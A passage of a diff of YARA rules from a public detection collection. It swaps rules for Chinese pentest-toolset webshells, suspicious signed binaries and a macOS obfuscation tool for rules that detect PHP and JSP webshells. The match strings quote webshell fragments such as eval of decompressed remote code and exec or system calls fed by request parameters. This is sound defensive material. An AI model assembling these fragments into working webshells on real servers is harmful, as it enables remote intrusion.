+		$s9 = "setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);" fullword
+		$s10 = "$_SESSION['code'] = _REQUEST(sprintf(\"%s?%s\",pack(\"H*\",'6874"
+		$s11 = "if (preg_match(\"/^HTTP\\/\\d\\.\\d\\s([\\d]+)\\s.*$/\", $status, $matches))"
+		$s12 = "eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_C"
+		$s15 = "if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout))"
 
 	condition:
-		filesize <30KB and 2 of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Mssql_2 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Php
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file mssql.asp"
+		description = "Web shells - generated from file pHp.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3f9706d6-7f6e-5120-945a-d5d928d79507"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1137-L1153"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad55512afa109b205e4b1b7968a89df0cf781dc9"
-		logic_hash = "1d4b75eeeddda6e92b8ec38679d5e2b9d21abf2d2b467b91a066dcf628725f0a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3368-L3385"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b0e842bdf83396c3ef8c71ff94e64167"
+		logic_hash = "a943f3b0d1d56194e250c7cf3e05b2bfec7b29f91ef56085d645efa3fe8995c9"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "sqlpass=request(\"sqlpass\")" fullword ascii
-		$s2 = "set file=fso.createtextfile(server.mappath(request(\"filename\")),8,true)" fullword ascii
-		$s3 = "<blockquote> ServerIP:&nbsp;&nbsp;&nbsp;" fullword ascii
+		$s0 = "if(is_readable($path)) antivirus($path.'/',$exs,$matches);" fullword
+		$s1 = "'/(eval|assert|include|require|include\\_once|require\\_once|array\\_map|arr"
+		$s13 = "'/(exec|shell\\_exec|system|passthru)+\\s*\\(\\s*\\$\\_(\\w+)\\[(.*)\\]\\s*"
+		$s14 = "'/(include|require|include\\_once|require\\_once)+\\s*\\(\\s*[\\'|\\\"](\\w+"
+		$s19 = "'/\\$\\_(\\w+)(.*)(eval|assert|include|require|include\\_once|require\\_once"
 
 	condition:
-		filesize <3KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp1 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Pppp
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file asp1.txt"
+		description = "Web shells - generated from file pppp.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bf0b1f1e-cf7b-5afb-8e0a-bcfd70fc8887"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L1155-L1171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "78b5889b363043ed8a60bed939744b4b19503552"
-		logic_hash = "3b454b1254d05b2208aee02e966c9c56a338dd3d33a2c6acc2c4df3208314055"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3386-L3401"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cf01cb6e09ee594545693c5d327bdd50"
+		logic_hash = "bd09fc2ec88bea83b16e63afafa3d5f74f119a81046a663322f5b396b48da135"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "SItEuRl=" ascii
-		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
-		$s3 = "Server.ScriptTimeout=" ascii
+		$s0 = "Mail: chinese@hackermail.com" fullword
+		$s3 = "if($_GET[\"hackers\"]==\"2b\"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "
+		$s6 = "Site: http://blog.weili.me" fullword
 
 	condition:
-		filesize <200KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Unsigned_OSPPSVC : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Code
 {
 	meta:
-		description = "Detects a suspicious unsigned office software protection platform service binary"
+		description = "Web shells - generated from file code.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0e312237-0c82-59da-b62d-56065c6075f0"
-		date = "2019-09-26"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_sign_anomalies.yar#L4-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27d8d8d19e25a2e3cffb765a0b3122e38dcb72d60c00c554163ee193a04b3d82"
-		score = 65
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3402-L3419"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a444014c134ff24c0be5a05c02b81a79"
+		logic_hash = "5ae053a9afc1f720c56304c434cd89861e1df4060b7d813921e7f85978227020"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "5294a730f1f0a176583b9ca2b988b3f5ec65dad8c6ebe556b5135566f2c16a56"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sc1 = { 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63
-               00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00
-               00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
-               00 66 00 74 00 20 00 4F 00 66 00 66 00 69 00 63
-               00 65 00 20 00 53 00 6F 00 66 00 74 00 77 00 61
-               00 72 00 65 00 20 00 50 00 72 00 6F 00 74 00 65
-               00 63 00 74 00 69 00 6F 00 6E 00 20 00 50 00 6C
-               00 61 00 74 00 66 00 6F 00 72 00 6D 00 20 00 53
-               00 65 00 72 00 76 00 69 00 63 00 65 }
+		$s1 = "<a class=\"high2\" href=\"javascript:;;;\" name=\"action=show&dir=$_ipage_fi"
+		$s7 = "$file = !empty($_POST[\"dir\"]) ? urldecode(self::convert_to_utf8(rtrim($_PO"
+		$s10 = "if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_"
+		$s14 = "Processed in <span id=\"runtime\"></span> second(s) {gzip} usage:"
+		$s17 = "<a href=\"javascript:;;;\" name=\"{return_link}\" onclick=\"fileperm"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and $sc1 and pe.number_of_signatures<1
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_PE_Signed_By_Suspicious_Entitiy_Mar23 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Jspyyy
 {
 	meta:
-		description = "Find driver signed by suspicious company (see references)"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "13151f9b-22cb-551f-81b4-a60a301f0bfc"
-		date = "2023-03-06"
+		description = "Web shells - generated from file jspyyy.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_sign_anomalies.yar#L28-L214"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2fb7a38e69a88e3da8fece4c6a1a81842c1be6ae9d6ac299afa4aef4eb55fd4b"
-		hash = "9a24befcc0c0926abb49d43174fe25c2469cca06d6ab3b5000d7c9d434c42fe9"
-		hash = "9ad716f0173489e74fefe086000dfbea9dc093b1c3460bed9cdb82f923073806"
-		hash = "a007c8c6c1aecfff1065429fef691e7ae1c0ce20012a113f01ac57c61564a627"
-		hash = "fbe82a21939d04735aa3bbf23fbabd45ac491a143396e8e62ee20509c1257918"
-		hash = "d12c6ea0a86c58ea2d80d1dc9b793ba28a0db92c72bb5b6f4ee2b800fe42091b"
-		hash = "4cf31d000f1542690cbc0ace41e4166651a71747978dc408e3cce32e82713917"
-		hash = "e1adaea335b20d4d2e351f7bea496cd40cb379376900434866db342f851d9ddf"
-		hash = "031408cf2f2c282bcc05066356fcc2bb862b7e3c504ab7ffb0220bea341404a5"
-		hash = "2f13d4e1bd35f6c0ad0978af19006c17193cf3d42b71cba763cca68f7e9d7fca"
-		hash = "cb40a5dc4f6a27b1dc50176770026b827f8baa05fa95a98a4e880652f6729d96"
-		hash = "a7591b7384bd10eb934f0dac8dcbfdff8c352eba2309f4d75553567fa2376efa"
-		hash = "d517ce5f132b3274f0b9783a5b0c37d1d648e6079874960af24ca764b011c042"
-		hash = "aeec903013d5b66f0ae1c6fa50bb892759149c1cec86db8089a4e60482e02250"
-		hash = "0d22828724cb7fbc6cef7f98665d020867d2eb801cff2c21f2e97e481040499b"
-		hash = "4b2e874d51d332fd840dadd463a393f9f019de46e49de73be910b9b1365e4e4e"
-		hash = "3839c0925acf836238ba9a0c5798b84b1c089a8353cc27ae7e6b75d273b539e3"
-		hash = "c470f519fb0d4a2862035e0d9e105a0a6918adc51842b12ad14b5b5f34879963"
-		hash = "cc6d174bc86f84f5a4c516e9c04947e2fecc0509a84748ea80576aeee5950aed"
-		hash = "6fe8df70254f9b5f53452815f0163cb2ffb2d7f0f5aefbb9b149ad1be9284e31"
-		hash = "4cde473fb68fa9b2709ea8a23349cd2fce8b8b3991b9fea12f95d12292b8aa7a"
-		hash = "e2c40c8dd60bb395807c39c76bfdf5cd158ebefd2a47ad3306a96662c50057c0"
-		hash = "9c12b09b529fa517eaeb49df22527d7563b5432d62776166048d97f83b2dce5c"
-		hash = "5a4e17287f3dceb5bf1ed411e5fdd7e8692aebf2a19b334327733fc1c158b0ba"
-		hash = "c42964aa7fa354b1a285bdbcbd9e84b6bdd8813ff9361955e0e455d032803cce"
-		hash = "ffd6955bf40957a35901d82fd5b96d0cb191b651d3eca7afa779eebfed0d9f7e"
-		hash = "f6874335eb0d611d47b2ec99a6b70f7b373a50d8d1f62d290b06174f42279f36"
-		hash = "4e6d7fd70a143f19429fead2c14779aea9d9140e270bb9e91e47fa601643e40e"
-		hash = "7b0e4aae37660b1099de69f4c14f5d976f260c64a4af8495ff1415512a6268ba"
-		hash = "db45cbfb094f3e1ebf1cb3880087a24d4e771cc43ba48ad373e6283cbe7391da"
-		hash = "813edc804f59a97ec9391ea0db4b779443bd8daf1e64c622b5e3c9a22ee9c2e0"
-		hash = "8d66a4b7c2ae468390d32e5e70b3f9b7cb796b54b7c404cde038de9786be8d1d"
-		hash = "85936141f0f32cf8f3173655e7200236d1fce6ef9c2616fd2b19ae7951c644c5"
-		hash = "b5fc0cc9980fc594a18682d2b0d5b0d0f19ba7a35d35106693a78f4aaba346ac"
-		hash = "7aae36c5ffa8baaab19724dae051673ddafd36107cb61c505926bfceaadcd516"
-		hash = "5d0228a0d321e2ddac5502da04ca7a2b2744f3dc1382daa5f02faa9da5aface1"
-		hash = "2af1ac8bc8ae8d7cad703d2695f2f6c6d79b82eebba01253a8ec527e11e83fcd"
-		hash = "c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497"
-		hash = "0e339c9c8a6702b32ee9f2915512cbeb3391ced74b16c7e0aed9b1a80c9e58c8"
-		hash = "80bdeaa4f162c65722b700e4ffba31701d0d634f5533e59bf3885dc67ee92f3f"
-		hash = "4570f64f2000bdaf53aec0fc2214c8bd54e0f5cb75987cdf1f8bda6ea5fc4c43"
-		hash = "a9c906bde6c8a693d5d46c9922dafa2dfd2dec0fff554f3f6a953c2e36d3f7b7"
-		hash = "520df3ddd7c9ecdeecac8e443d75ac258c26b45d37ecec22501afdda797f6a0a"
-		hash = "4d3e0f27a7bcfd4b442b489c63641af22285ca41c6d56ac1db734196ab10b315"
-		hash = "5000b3b1d593ba40cc10098644af1551259590ac67d3726fab2be87aad460877"
-		hash = "7c27bd6104fc67dd16e655f3bf67c2abd8b5bf2a693ba714ac86904c5765b316"
-		hash = "34b1234eab7ff10edde9e09ecf73c5e4bfe9ee047ccfdb43de1e1f6155afad0c"
-		hash = "f6fe2cc9ea31f85273c26e84422137df21cfce4b9e972b0db94fe3a67b54f6ca"
-		hash = "ec4d0828196926bd36325f4b021895d37cfaaa024f754b36618c78b2574f0122"
-		hash = "2a89f263d85da8fb0c934d287b5b524744479741491c740aaa46ac9f694f6d1b"
-		hash = "c8d0122974fc10a7d82c62f3e6573a94379c026dd741fd73497afdf36d3929be"
-		hash = "0345f71876bc4c888deadba7284565a8da112901f343e54b8522279968abd1b2"
-		hash = "6c0e10650be9e795dc6adfbe8aad8c1c3a8657e4c45cb82a7d5188ee24021ca0"
-		hash = "90b8d9c4ff3e4e0a0342e0d91da3a25be2fead29f3b32888bb35f8575845259d"
-		hash = "0310400c9e62c3fe08dc6506313e26f7c5c89035c81b0141ce57543910c1c42e"
-		hash = "b0da0316443f878aad0b3d9764b631d5df60e119ab59324c37640da1b431893a"
-		hash = "cc4bd06f27a5f266bc8825a08e5f45dcaa4352eb6d69214b5037d28cc8de6908"
-		hash = "2d4b7c6931203923db9a07e1ac92124e799f3747ab20e95e191e99c7b98f3fbd"
-		hash = "b5965de0d883fd0602037f3dc26fd4461e6328612f1a34798cff0066142e13c4"
-		hash = "86ce17183ddf32379db53ecaedefe0811252165b05cd326025bb8eca2e6a25d7"
-		hash = "6edca16d5aa751aa4c212e6477121d51e4d9b9432896d25b41938a27a554bbe7"
-		hash = "cdd8966e0cf08a6578e34de7498a44413a6adabae04d81ef3129f26305966db2"
-		hash = "df890974589ed2435f53b8c8f147a06752f1b37404afd4431362c1938fcb451e"
-		hash = "3e05d8abaaa95af359e5b09efb30546d0aa693859ebc8a0970a2641556ea644c"
-		hash = "1c8ddf4b9c99c8f1945abf1527c7fa93141430680ac156a405d9a927d32f3b5e"
-		hash = "5d2ed5930ab1a650f9fb9293f49a9f35737139fdfa9f14e46a07e5d4d721ae3e"
-		hash = "18834de3e4844a418970c2184cc78c2d7cb61d18e9f7c7c0e88e994b4212edc5"
-		hash = "a6b6fc94d8e582059af0fe30c2c93c687fccd5a0073a6a26a2cd097ea96adc7c"
-		hash = "28b40fa160c915f13f046d36725c055d6c827a4d28674ea33c75a9b410321290"
-		hash = "efab0fbf77dc67a792efd1fe2b3f46bbdfdee30a9321acc189c53a6c5e90f05c"
-		hash = "348781221d1a2886923de089d1b7b12c32cfdd38628b71203da925b5736561e9"
-		hash = "a1a5f410e6eab2445d64bfcd742fe1a802a0a2d9af45c7ab398f84894dd5dc3d"
-		hash = "9de05ce0d9e9de05ebdc2859a5156f044f98bb180723f427a779d36b1913e5d3"
-		hash = "eeff7e85c50a7f11fc8a99f7048953719fb1d2a6451161a0796eac43119ece21"
-		hash = "383cc025800a3b3d089f7697e78fe4d5695a8d1ee26dcad0b0956ad6800ccae4"
-		hash = "41be6f393cea4d8d5869fff526c4d75ec66c855f7e9c176042c39b9682ea9c14"
-		hash = "71552e65433c8bbf14e5bcbc35a708bc10d6fded740c5f4783edce84aea4aabf"
-		hash = "3c1b3e8666b58a78c70f36ed557c7ecc52e84457e87e5884b42e5cd9e8c1a303"
-		hash = "4288d7113031151a2636a164c0dc6fce78c86f322271afec9ef2d4b54494c334"
-		hash = "f73a39332be393a9bc23ec27ff6d025bc90d7320dde97f37cc585ecf6c0436a2"
-		hash = "018f5103635992aa9ddc1c46cafe2b7ba659fcfbc8f8ab29dcea28e155b033ee"
-		hash = "fe650fc138dcfbbd4ab6aa5718bf3cd36f50898ae19d3aceaa12f7d4f39d0b43"
-		hash = "fa21b39cd5a24ba35433e90cae486454b7400b50e7f7f5c190fdbec6704b4352"
-		hash = "3dd36c798cc89bfad7cdbf58d7da90ba113fe043ca46bdbcab7ae7fb9dc2f42b"
-		hash = "674f4444f0de5c81c766c376a65fbdf1f7116228a61c71ffb504995c9e160183"
-		hash = "cd3d25b2842bb2d6a5580f72e819acd344ce7f3a2478fb6d53ff668ad6531228"
-		hash = "1668f4eb8a85914db46ff308b9f8a5040a024acc93259dfc004ea2b80ab6bcf1"
-		hash = "4f31cab6c011b79bf862bb6acea3086308b0576afe33affdb09039c97e723beb"
-		hash = "6b0ff48b8113076d2875edb7bea7f120b7b9d9a990ae296a5b5a95660ae7edfc"
-		hash = "956a00dd6382e83d3f7490378ae98e4fc8d9b8ec2cd549519f007091e3ccce1f"
-		hash = "8c7f938cf55728d8d41a7fa6b9953c4f81cf05ed3d7b7435ec8999e130257f7f"
-		hash = "427ee4d4d18fc0c1196326215e94947f7d8c03794de36d0127231690bf5bf3c0"
-		hash = "b6f3ece5bf7b9f6ecf99104d3c76b9007106fad98d20500956dd1e42d4ec5e8d"
-		hash = "47a0ad6150c5a1de4c788827662a9cafbd2816a7d32be2028721e49a464acbed"
-		hash = "8743ac81384fd10c0459f3574489d626e13c95dd73274dcf1d872bcd3630b9e8"
-		hash = "a1755415a12f85bea3f65807860f902cf41e56b0ab2c155ac742af3166ef1dfd"
-		hash = "3f5a91500bfade2d9708e1fbe76ae81dacdb7b0f65f335fee598546ccfc267e3"
-		hash = "5be43b773dbde6542d6a0d53cd6616ea95a49dd38659edc6ba0d580a0d9777ab"
-		hash = "90e080a63916c768b0b65787fe5695fd903d44e1b0b688d06c14988ba30b5ea7"
-		hash = "d1184ee3f26919b8f5a4b1a6d089f14e79e0c89260590156111f72a979c8e446"
-		hash = "c13ddd2bafcfdfc00fb5cb87d8eb533ae094b0dd5784df77c98bddeac9d72725"
-		hash = "9bb3035610bd09ba769c0335f23f98dd85c2f32351cdd907d4761b41ab5d099c"
-		hash = "1703025c4aed71d0ca29a3cd0e15047c24cc9adbb5239765f63e205ef7d65753"
-		hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
-		hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
-		hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
-		hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
-		hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
-		hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
-		hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
-		hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
-		hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
-		hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
-		hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
-		hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
-		hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
-		hash = "5654ed1205de6860e66383a27231e4ac2bb7639b07504121d313a8503ece3305"
-		hash = "5d1e3c495d08982459b4bd4fd2ab073ed2078fce9347627718a7c25adee152e9"
-		hash = "458702ae1b2ef8a113344be76af185ee137b7aac3646ece626d2eeeadcc9e003"
-		hash = "2c703e562a6266175379fa48f06f58aab109dbe56e0cde24b4b0db5f22f810a3"
-		hash = "49faf70c0978c21a68bc8395cf326f50c491e379f55b5df7d17f0af953861ece"
-		hash = "a2b16bbef0a7cb545597828466cd13225efaba6e7006bfbf59040bbff54c463c"
-		hash = "b08449d42f140c7e4d070c5f81ce7509f48282a5bb0e06948b7ed65053696a37"
-		hash = "c1633ad8c9e6c2b4cc23578655fc6cf5cd0122cfd24395d1551af1d092f89db2"
-		hash = "01f42f949a37d9d479b8021f27dcf0d0e6f0b0b6cd2e0883c6b4b494f0a1d32a"
-		hash = "4943d53a38ac123ed7c04ad44742a67ea06bb54ea02fa241d9c4ebadab4cb99a"
-		hash = "597ce12c9fbecc71299ba6fc3e4df36cc49222878d0e080c4c35bbfdffd30083"
-		hash = "0265fbd9cfc27c26c42374fce7cf0ef11f38e086308d51648b45f040d767c51d"
-		hash = "0dc92a1a6fd27144b3e35a9900038653892d25c2db8ede8b9e0aee04839f165a"
-		hash = "682582c324cb1eafacf80090f6108c1580fee12dbfdfe8b51771d429fdcce718"
-		hash = "e9e6f6e22b5924f80164fbad45be28299e9ec0bd2f404551b6ca772509a7135a"
-		hash = "a8db750f82906fb9cf9fb371ec65be76275d9b81b95e351fcb3db4ef345884ab"
-		hash = "e900b4016177259d07011139a55c0571c1e824fb7e9dddc11df493b3c8209173"
-		hash = "f8a7a26d51a5e938325deee86cbf5aa8263d3a50818c15d5a395b98658630c18"
-		hash = "861b87fc6c4758cfe1e26c7a038cffb64054ad633b7ea81319c9a98b7b49df0d"
-		hash = "848fdb491307ed7b002dbdf99796df2b286d53b2e0066d78f3554f2f38a2c438"
-		hash = "4b0c05bc33c9e7d0ed2d97dbefb6292469b9d74d650d5cfb2691345a11c0f54a"
-		hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
-		hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
-		hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
-		hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
-		hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
-		hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
-		hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
-		hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
-		hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
-		hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
-		hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
-		hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
-		hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
-		logic_hash = "68c3f2c97a8eab3d334222eae4c4b808e6b763896f198d033f4d11218e9ff551"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3420-L3433"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b291bf3ccc9dac8b5c7e1739b8fa742e"
+		logic_hash = "0afe45556aa7b562672cc4b609cf001aaa617b03028322abac6524f666b069e1"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
-
-	strings:
-		$cert1 = "91210242MA0YGH36" wide ascii
-		$cert2 = "Copyright (C) 2013-2021 QuickZip. All rights reserved." wide ascii
-		$cert3 = "Qi Lijun" wide ascii
-		$cert4 = {51 00 69 00 20 00 4c 00 69 00 6a 00 75 00 6e}
-		$cert5 = "Luck Bigger Technology Co., Ltd" wide ascii
-		$cert6 = {4c 00 75 00 63 00 6b 00 20 00 42 00 69 00 67 00 67 00 65 00 72 00 20 00 54 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 20 00 43 00 6f 00 2e 00 2c 00 20 00 4c 00 74 00 64 }
-		$cert7 = "XinSing Network Service Co., Ltd" wide ascii
-		$cert8 = "Hangzhou Shunwang Technology Co.,Ltd" wide ascii
-		$cert9 = "Zhuhai liancheng Technology Co., Ltd." wide ascii
-		$cert10 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
-		$cert11 = { e5 8c 97 e4 ba ac e5 bc 98 e9 81 93 e9 95 bf e5 85 b4 e5 9b bd e9 99 85 e8 b4 b8 e6 98 93 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
-		$cert12 = { e7 a6 8f e5 bb ba e5 a5 a5 e5 88 9b e4 ba 92 e5 a8 b1 e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
-		$cert13 = { e5 8e a6 e9 97 a8 e6 81 92 e4 bf a1 e5 8d 93 e8 b6 8a e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 0a }
-		$cert14 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
-
-	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <20MB and any of ($cert*)
-}
-rule SIGNATURE_BASE_EXT_SUSP_OBFUSC_Macos_Roothelper_Obfuscated : FILE
-{
-	meta:
-		description = "Yara for the public tool 'roothelper'. Used by XCSSET (https://gist.github.com/NullArray/f39b026b9e0d19f1e17390a244d679ec)"
-		author = "im0prtp3"
-		id = "7ff91c00-8178-525c-bb41-d09cf7cda588"
-		date = "2021-06-07"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/imp0rtp3/status/1401912205621202944"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hktl_roothelper.yar#L2-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2121de0409f3f8e4c4e079944efb605776e0475cadc25607eb888cc6461ecaf3"
-		score = 65
-		quality = 83
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "E: neither argv[0] nor $_ works." fullword
-		$b1 = "shll=%s\n" fullword
-		$b2 = "argv[%d]=%.60s\n" fullword
-		$b3 = "getenv(%s)=%s\n" fullword
-		$b4 = "argc=%d\n" fullword
-		$b5 = "argv=<null>\n" fullword
-		$c1 = "%s%s%s: %s\n" fullword
-		$c2 = "x%lx" fullword
-		$c3 = "=%lu %d" fullword
-		$c4 = "%lu %d%c" fullword
-		$f1 = "rmarg"
-		$f2 = "chkenv"
-		$f3 = "untraceable"
-		$f4 = "arc4"
-		$f6 = "stte"
-		$f7 = "with_file"
-		$opcodes_1 = { 99 F7 7D ?? 4C 63 C2 42 0F B6 14 01 0F B6 3D }
-		$opcodes_2 = { C6 [3] 00 00 00 C6 [3] 00 00 00 C6 [3] 00 00 00 8A 05 [2] 00 00 0F B6 [3] 00 00 89 CA }
-		$opcodes_3 = { E8 [2] FF FF	8B 85 ?? F? FF FF 2B 85 ?? F? FF FF	83 ?? 01 89 85 ?? F? FF FF E9 ?? 00 00 00 }
-		$weak_opcodes_1 = {48 8B 45 ?? 48 8B 00 48 3B 45 ??	0F 95 C1 88 4D ??}
-		$weak_opcodes_2 = {	48 8B 45 ??	48 83 38 ??	0F 95 C1 88 4D ?? }
+		$s0 = "<%@page import=\"java.io.*\"%><%if(request.getParameter(\"f\")"
 
 	condition:
